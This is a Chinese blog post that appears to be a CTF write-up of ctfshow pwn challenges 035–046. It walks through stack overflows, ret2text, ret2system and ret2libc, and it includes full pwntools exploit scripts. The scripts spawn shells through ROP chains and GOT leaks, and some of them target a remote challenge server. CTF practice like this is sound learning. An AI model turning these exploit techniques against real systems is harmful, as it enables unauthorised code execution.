首页/文章/CTF PWN

ctfshow 035 ~ 046 之复健

简简单单复健一下啦

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

前言

基本上啥也没干有大半年了,也是开始复健了,毕竟凡事都得向前看。这复健一复吓一跳啊,怎么什么都忘光了。

035

alt text

可以看到,flag 写进了 flag 里面
alt text

flag 是在 bss段。
关键函数: signal

c
#include <signal.h>#include "syscall.h"#include "libc.h"int __sigaction(int, const struct sigaction *, struct sigaction *);void (*signal(int sig, void (*func)(int)))(int){    struct sigaction sa_old, sa = {        .sa_handler = func,        .sa_flags = SA_RESTART    };    if (__sigaction(sig, &sa, &sa_old) < 0)        return SIG_ERR;    return sa_old.sa_handler;}weak_alias(signal, bsd_signal);

核心逻辑就是

c
struct sigaction sa_old, sa;sa.sa_handler = func;sa.sa_flags = SA_RESTART;__sigaction(sig, &sa, &sa_old);return sa_old.sa_handler;

简单来说就是这个函数规定了程序在遭遇异常时不使用默认行为,而是去执行signal第二个参数。
因此,我们进入这个函数去查看。

alt text

可以看出,当遇到信号11SIGSEGV(Segmentation Fault)段错误,也就是当访问了不该访问的内存后抛出的异常信号,我们不会默认退出,而是去执行 sigsegv_handler()函数,去打印出flag的内容。
再往下看:
alt text

C语言中, int main(int argc, char *argv[]) argcargument count也就是参数数量。argvargument vector也就是参数列表。当我们编译一个程序,例如:

bash
./test hello 123 abc

此时,argc = 4,argv[0] = test``argv[1] = hello 。那么很明显,这个题目远端有pwnme elf文件,那么我们运行的时候必须传入两个参数。

alt text

alt text

很明显了,会把我们传入的第二个参数放入 dest里面。偏移为 0x6C + 4
alt text

flag = ctfshow{17edb583-98ef-4064-a3d9-3a24b0ed7e91}

036

关键函数:

alt text

alt text

alt text

我们只要想办法进入后门函数即可

python
#!/usr/bin/env python3from pwn import *context.binary = elf = ELF("./pwn", checksec=False)context.log_level = "info"OFFSET = 0x28 + 4PAYLOAD = b"A" * OFFSET + p32(elf.symbols["get_flag"])p = remote("pwn.challenge.ctf.show", 28272)p.recvuntil(b"Enter what you want: ")p.sendline(PAYLOAD)p.interactive()

flag = ctfshow{fd47e9d5-d5ac-4966-b41e-caed8053b91a}

037

alt text

alt text

脚本:

python
#! /usr/bin/env python3from pwn import *p = process("./pwn")offset = 0x12 + 4payload = b"A" * offset + p32(0x08048521)p.sendline(payload)p.interactive()

alt text

038

alt text

alt text

alt text

在脚本中需要注意栈对齐,由于我们不是正常的call而是直接去ret,所以进入system时未对齐

python
#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) +p64(0x400657)p.sendline(payload)p.interactive()

alt text

就嘲笑我这个老年人的手眼协调吧:(

039

先复习一下 32 位参数调用 32位的传参都是在栈上去传的 传参

asm
push 2 -> push 1 ->call func (即:push ret_addr -> jmp func_addr) -> push ebp -> mov ebp ,esp -> sub ...

清理

asm
leaveret即:mov esp ,ebp -> pop ebp -> ret ->add esp

看题

alt text

alt text

python
#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf =  ELF("./pwn")offset = 0x12 + 4bin_sh = 0x08048750system = elf.symbols['system']payload = b"A" * offset + p32(system) + p32(0) + p32(bin_sh)p.sendline(payload)p.interactive()

alt text

也是终于一次拼对了好吧

040

先复习一下 64 位参数调用 跟 32 位不同的是 64 位前 6 个参数是通过寄存器传入的

参数寄存器
参数1rdi
参数2rsi
参数3rdx
参数4rcx
参数5r8
参数6r9
返回值放在 rax
asm
mov edi ,1mov esi ,2call func

假如参数是指针,例如

c
puts("hello")
asm
lea rdi ,[rip + 偏移] #利用相对寻址call puts

回到寄存器,call依然是

asm
push retjmp func

进入 func

asm
push rbpmov rbp ,rspsub rsp , ...

结束时

asm
leaveret等价于mov rsp ,rbppop rbpret

当传参超过 6个,才走栈,之后需要 add rsp ...
现在看题

alt text

alt text

python
#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']bin_sh = next(elf.search(b"/bin/sh"))pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)p.sendline(payload)p.interactive()

也是同样注意栈对齐

alt text

041

这个题没有 /bin/sh 但有 sh。这两个的区别就是一个是绝对路径,一个会利用system自己去搜寻,为相对路径。

alt text

alt text

python
#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf =  ELF("./pwn")offset = 0x12 + 4sh = next(elf.search(b"sh"))system = elf.symbols['system']payload = b"A" * offset + p32(system) + p32(0) + p32(sh)p.sendline(payload)p.interactive()

alt text

042

老样子,换成64

alt text

python
#! /usr/bin/env python3from pwn import *p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']sh = next(elf.search(b"sh"))pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresscontext(os='linux', arch='amd64', log_level='debug')offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)p.sendline(payload)p.interactive()

alt text

043

alt text

alt text

alt text

可以看到题目有gets函数,有system函数,但是没有可用的字符。观察发现
alt text

.bss段有可写入的地方,那我们思路就有了
劫持程序流->gets写入buf2,之后system调用buf2的字符就行了

python
#! /usr/bin/env python3from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)gets = elf.symbols['gets']system = elf.symbols['system']buf2 = 0x804B060offset = 0x6C + 4payload = b"a" * offset + p32(gets) + p32(system) + p32(buf2) + p32(buf2)p.sendline(payload)p.sendline(b"/bin/sh")p.interactive()

alt text

044

也是同样的题目,只不过换成了 64

alt text

alt text

alt text

alt text
那么我们 payload 遵循 64 位调用约定就可以了

python
#! /usr/bin/env python3from pwn import *context(os='linux', arch='amd64', log_level='debug')p = process("./pwn")elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addresssystem = elf.symbols['system']buf2 = 0x602080pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addressgets = elf.symbols['gets']offset = 18payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(ret) + p64(pop_rdi) + p64(buf2) + p64(system)p.sendline(payload)p.sendline(b"/bin/sh")p.interactive()

alt text

045

alt text

这道题没有可用的字符串,也没有system,并且栈不可执行,但有putswrite,那么很明显就应该是走ret2libc
alt text

本来只泄露了putsgot表,但好像libcsearcher查询不到,那就去网上查版本吧
alt text

头大,再泄露个write

bash
[+] Starting local process './pwn': pid 55820[*] '/home/lmx/pwn/ctfshow/栈溢出/045_pwn45/pwn'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No[*] Loaded 11 cached gadgets for './pwn'puts_addr: 0xecd26580write_addr: 0xecdc7500

舒服了

alt text
alt text

神了,突然想起刚一直打的本地

python
#! /usr/bin/env python3from LibcSearcher import LibcSearcherfrom pwn import *context(os='linux', arch='i386')p = remote("pwn.challenge.ctf.show", 28216)elf = ELF("./pwn")rop = ROP(elf)p.recvuntil(b"O.o?\n")offset =  0x6b + 4puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']write_plt = elf.plt['write']write_got = elf.got['write']payload = b"A" * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)p.sendline(payload)puts_addr = u32(p.recv(4))p.recvuntil(b"O.o?\n")print("puts_addr: " + hex(puts_addr))payload = b"A" * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)p.sendline(payload)write_addr = u32(p.recv(4))print("write_addr: " + hex(write_addr))libc_base = puts_addr - 0x67360system_addr = libc_base + 0x3cd10bin_sh_addr = libc_base + 0x17b8cfprint("libc_base: " + hex(libc_base))print("system_addr: " + hex(system_addr))print("bin_sh_addr: " + hex(bin_sh_addr))payload = b"A" * offset + p32(system_addr) + p32(0) + p32(bin_sh_addr)p.recvuntil(b"O.o?\n")p.sendline(payload)p.interactive()

flag = ctfshow{0ca0862b-bb5a-4ecb-a3fa-0473ee2a9598}

046

alt text

这道题比较有意思,最开始想的还是泄露两次 .got表,但是呢没有可用的 pop rdx指令。但是有

bash
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

难道这个题还得用 ret2csu

alt text

但又一看,dx寄存器已经设好了,且之后也没有变化,但是又一看

bash
.got.plt:0000000000602018 off_602018      dq offset puts          ; DATA XREF: _puts↑r.got.plt:0000000000602020 off_602020      dq offset write         ; DATA XREF: _write↑r.got.plt:0000000000602028 off_602028      dq offset read          ; DATA XREF: _read↑r

这不是直接连一块的,那我第一次直接用write泄露三个不就完了,而且dx寄存器也设好了。就是0xc8,空间也够。泄露出来

bash
puts_addr: 0x7ff254c039c0write_addr: 0x7ff254c93140read_addr: 0x7ff254c93070
python
#! /usr/bin/env python3from pwn import *from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p = remote("pwn.challenge.ctf.show", 28154)elf = ELF("./pwn")rop = ROP(elf)ret = rop.find_gadget(["ret"]).addressputs_got = elf.got['puts']main = elf.symbols['main']pop_rdi = rop.find_gadget(["pop rdi", "ret"]).addresspop_rsi_r15 = rop.find_gadget(["pop rsi", "pop r15", "ret"]).addresswrite_plt = elf.plt['write']write_got = elf.got['write']offset = 0x70 + 8p.recvuntil(b"O.o?\n")payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(puts_got) + p64(0) + p64(write_plt) + p64(main)p.sendline(payload)leak = p.recv()puts_addr = u64(leak[:8])print("puts_addr: " + hex(puts_addr))write_addr = u64(leak[8:16])print("write_addr: " + hex(write_addr))read_addr = u64(leak[16:24])print("read_addr: " + hex(read_addr))libc = LibcSearcher("puts", puts_addr)libc_base = puts_addr - libc.dump("puts")system_addr = libc_base + libc.dump("system")bin_sh_addr = libc_base + libc.dump("str_bin_sh")print("libc_base: " + hex(libc_base))print("system_addr: " + hex(system_addr))print("bin_sh_addr: " + hex(bin_sh_addr))payload = b"A" * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)p.sendline(payload)p.interactive()

flag = ctfshow{bbde4561-223f-4e56-9756-65e342aa4765}

小结

嗯。。。也不算忘光,这种卡拉米的题还是会的 :)

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...